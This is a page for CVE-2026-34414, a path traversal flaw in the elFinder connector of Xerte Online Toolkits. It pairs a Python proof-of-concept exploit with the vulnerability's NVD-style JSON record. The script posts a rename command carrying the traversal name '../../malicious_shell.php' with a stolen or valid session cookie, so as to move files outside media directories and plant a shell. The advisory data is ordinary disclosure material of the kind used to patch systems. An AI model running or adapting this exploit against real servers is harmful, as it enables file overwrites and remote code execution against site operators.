CVE-2026-34414

import requests def exploit(target_url, session_cookie): """ PoC for CVE-2026-34414: Path Traversal in Xerte elFinder Connector This script attempts to rename a file to traverse directories. """ # elFinder connector endpoint url = f"{target_url}/editor/elfinder/php/connector.php" # The 'cmd' is rename, 'target' is the file hash (needs to be valid), 'name' is the new path # In a real scenario, the attacker would need a valid file hash and a file they have access to. payload = { "cmd": "rename", "target": "l1_X3Jlc3RfdGVzdF9maWxlLnBocA", # Example hash for a file "name": "../../malicious_shell.php" # Traversal payload } headers = { "Cookie": f"PHPSESSID={session_cookie}" } try: response = requests.post(url, data=payload, headers=headers) if response.status_code == 200: print("[+] Request sent. Check if the file was moved.") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] Error: {e}") # Usage # exploit("http://target-xerte-site.com", "valid_session_id")

{"cve": {"id": "CVE-2026-34414", "sourceIdentifier": "[email protected]", "published": "2026-04-22T19:17:04.033", "lastModified": "2026-04-24T20:16:25.203", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Xerte Online Toolkits versions 3.15 and earlier contain a relative path traversal vulnerability in the elFinder connector endpoint at /editor/elfinder/php/connector.php where the name parameter in rename commands is not sanitized for path traversal sequences. Attackers can supply a name value containing directory traversal sequences to move files from project media directories to arbitrary locations on the filesystem, potentially overwriting application files, achieving stored cross-site scripting, or combining with other vulnerabilities to achieve unauthenticated remote code execution by moving PHP code files to the application root."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 4.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-22"}]}], "references": [{"url": "https://github.com/bootstrapbool/xerteonlinetoolkits-rce", "source": "[email protected]"}, {"url": "https://github.com/thexerteproject/xerteonlinetoolkits/commit/02661be88cc369325ea01b508086bde7fbfec805", "source": "[email protected]"}, {"url": "https://github.com/thexerteproject/xerteonlinetoolkits/commit/17e4f945fe6a3400fa88c01eda18c1075ee4a212", "source": "[email protected]"}, {"url": "https://github.com/thexerteproject/xerteonlinetoolkits/commit/507d55c5e91bf9310b5b1c7fad8aebfef902ad23", "source": "[email protected]"}, {"url": "https://github.com/thexerteproject/xerteonlinetoolkits/issues/1527", "source": "[email protected]"}, {"url": "https://www.vulncheck.com/advisories/xerte-online-toolkits-path-traversal-via-connector-php", "source": "[email protected]"}, {"url": "https://xerte.org.uk/index.php/en/downloads-1/category/3-xerte-online-toolkits", "source": "[email protected]"}, {"url": "https://xerte.org.uk/xertetoolkits_3.15_ChangeLog.html", "source": "[email protected]"}]}}